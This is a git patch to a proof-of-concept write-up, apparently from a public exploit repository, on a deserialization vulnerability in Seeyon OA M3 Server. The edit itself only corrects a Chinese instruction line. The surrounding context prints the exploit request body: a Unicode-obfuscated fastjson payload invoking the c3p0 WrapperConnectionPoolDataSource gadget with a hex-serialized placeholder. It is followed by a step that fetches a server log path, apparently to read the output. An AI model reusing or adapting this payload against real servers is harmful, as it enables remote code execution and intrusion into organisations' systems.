From 2fa5dd781545bdf0c23058e92026346633a9e2c2 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Thu, 23 Nov 2023 21:42:38 +0800 Subject: [PATCH] =?UTF-8?q?Update=20=E8=87=B4=E8=BF=9COA=20M3=20Server=20?= =?UTF-8?q?=E5=8F=8D=E5=BA=8F=E5=88=97=E5=8C=96=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 致远OA M3 Server 反序列化漏洞.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/致远OA M3 Server 反序列化漏洞.md b/致远OA M3 Server 反序列化漏洞.md index 2e7fa50..157c453 100644 --- a/致远OA M3 Server 反序列化漏洞.md +++ b/致远OA M3 Server 反序列化漏洞.md @@ -34,7 +34,7 @@ Content-Length: 3680 [{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:HEX;\"}|","channelId":"111","title":"111","content":"222","deviceType":"androidphone","serviceProvider":"baidu","deviceFirm":"other"}] ``` -然后在访问 然后再 Get 访问/mobile_portal/api/systemLog/pns/loadLog/app.log +然后再 Get 访问/mobile_portal/api/systemLog/pns/loadLog/app.log ![ef21d114d1965815537db98570d2daf7](https://github.com/wy876/POC/assets/139549762/b3609c72-0516-4c69-a64f-62c86fffb30d)